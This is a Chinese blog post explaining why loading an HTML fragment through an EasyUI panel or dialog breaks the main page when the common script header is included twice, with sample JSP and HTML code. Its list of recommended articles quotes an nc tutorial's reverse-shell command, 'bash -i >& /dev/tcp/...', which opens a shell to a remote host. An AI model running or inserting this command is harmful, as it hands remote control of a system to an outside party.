jquery panel加载(dialog加载类似)
项目情况:
主页面用引用了公共头文件(包含easui.min.js),使用easyui的dialog(href方式)打开窗口(被打开的窗口页面是纯html片段,无body元素等,也引入了公共头文件),结果主页的easyui组件全部异常。
原因:
easui的dialog是将打开的窗口页面加载到主页中,easui.min.js被加载了两次,组件重复初始化导致异常。
(dialog是继承panel的)
解决办法:
将加载的内容放于html的body中,公共头文件放于html的body外面,这样就不在有js的重复加载,问题解决。
总结:
panel方式(href、url等类似方式)加载页面,正常值加载页面的body部分,这样的话就可以将公共的js和css放于body外面,自定义的js和css放在body里面,加载到主页面后,就不会有js和css冲突了。
主体页面代码:
<%@include file="/framework/common/import-head.jsp"%>
<html>
<head>
<title>加载html</title>
</head>
<script language="javascript">
</script>
<body>
<button class="customButton" data-option="icon:'reply'" onclick="loadHtml()">加载html</button>
<div class="easyui-tabs" style="width:500px;height:250px;">
<div title="Tab1" style="padding:20px;">
tab1
</div>
<div title="Tab2" style="overflow:auto;padding:20px;">
tab2
</div>
<div title="Tab3" data-options="iconCls:'icon-reload'" style="padding:20px;">
tab3
</div>
</div>
<div id="loadDiv"></div>
<script type="text/javascript">
function loadHtml(){
var url = "htmlSpec.html";
//$("#loadDiv").load(url);
$("#loadDiv").panel({href:url});
}
</script>
</body>
</html>
被加载页面:
<%@include file="/framework/common/import-head.jsp"%>
<html>
<head>
<title>被加载html</title>
</head>
<body>
<div class="easyui-tabs" style="width:500px;height:250px;">
<div title="help" style="padding:20px;">
message
</div>
<div title="document" style="overflow:auto;padding:20px;">
somecontext
</div>
</div>
</body>
</html>
jquery panel加载(dialog加载类似)的更多相关文章
- jQuery Mobile 手动显示ajax加载器,提示加载中...
在使用jQuery Mobile开发时,有时候我们需要在请求ajax期间,显示加载提示框(例如:一个旋转图片+一个提示:加载中...).这个时候,我们可以手动显示jQuery Mobile的加载器,大 ...
- jQuery Mobile 手动显示ajax加载器
在jquery mobile开发中,经常需要调用ajax方法,异步获取数据,如果异步获取数据方法由于网速等等的原因,会有一个反应时间,如果能在点击按钮后数据处理期间,给一个正在加载的提示,客户体验会更 ...
- jQuery瀑布流从不同方向加载3种效果演示
很实用的一款插件jQuery瀑布流从不同方向加载3种效果演示在线预览 下载地址 实例代码 <section class="grid-wrap"> <ul clas ...
- jquery easyui easyui-treegrid 使用异步加载数据
jquery easyui easyui-treegrid 使用异步加载数据 jquery easyui easyui-treegrid 异步请求 >>>>>>&g ...
- JQuery浮动层Loading页面加载特效
之前做项目,经常需要一些浮动层加载Loading. 现在好多前端框架都能实现了,最常用的就是 artDialog 下面记录下当时的代码. <!DOCTYPE html PUBLIC " ...
- 转载:用Jquery实现的图片预加载技术,可以实现有序加载和无序加载!
一.背景 我们在做页面的时候,从用户体验的角度出发,肯定是希望用户以最快的速度看到完整的页面信息,但在实际情况中经常会遇到些问题. 比如受网速影响,页面加载素材的时间比较长,页面会出现短时间的错乱或者 ...
- [转]jquery的ajax交付时“加载中”提示的处理方法
本文转自:http://www.educity.cn/wenda/77121.html jquery的ajax提交时“加载中”提示的处理方法 方法1:使用ajaxStart方法定义一个全局的“加 ...
- jquery.lazyload (JS懒加载框架使用详解)
/** 本地加载方式加载JS*/ NSString *path = [[NSBundle mainBundle] pathForResource:@"jquery.js&quo ...
- 《前端之路》之 前端图片 类型 & 优化 & 预加载 & 懒加载 & 骨架屏
目录 09: 前端图片 类型 & 优化 & 预加载 & 懒加载 & 骨架屏 09: 前端图片 类型 & 优化 & 预加载 & 懒加载 & ...
- WebView 加载网页 加载资源 总结 MD
Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...
随机推荐
- shell $*与$@的区别
[root@bgx shell]# cat tt.sh #! /bin/bash test() { echo "未加引号,二者相同" echo $* echo $@ echo &q ...
- Zabbix监控系统进程
参考网站: https://www.linuxidc.com/Linux/2016-11/137649.htm
- robot framework取出列表子元素
取出嵌套列表变量的子元素 ${list}型列表: ${list} = [["A1", "first"], ["A2", "seco ...
- JVM内存管理基础
JVM 虚拟机架构(图片来源: 浅析Java虚拟机结构与机制) JVM 内存区域 JVM会将Java进程所管理的内存划分为若干不同的数据区域. 这些区域有各自的用途.创建/销毁时间: (图片来源: ...
- nc命令使用详解
反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ...
- 趣味编程:FizzBuzz(Swift版)
func toFizzBuzzExpr(n: Int) -> String { return n % 3 == 0 && n % 5 == 0 ? "FizzBuzz& ...
- while
public class TestWhile { /** * 测试循环 */ public static void main(String[] args) { int a=1; while(a< ...
- Solving SharePoint Server 2010 - 503. The service is unavailable, After installation
Installed: SharePoint Server 2010 for Internet Enterprise Beta (x64) On: Windows Server 2008 Standar ...
- 使用JSON.parse()转化成json对象需要注意的地方
http://blog.csdn.net/u011277123/article/details/53055479 有三种方法: var str = '{"name":"小 ...
- SpringMVC中ApplicationContext中的配置文件的问题(No bean named 'sessionFactory' is defined 已解决)
在一个SpringMVC项目中, 连着两天不管怎么搞都是一直在报错, 报的最多的就是一个 Servlet.service() for servlet [springDispatcherServlet] ...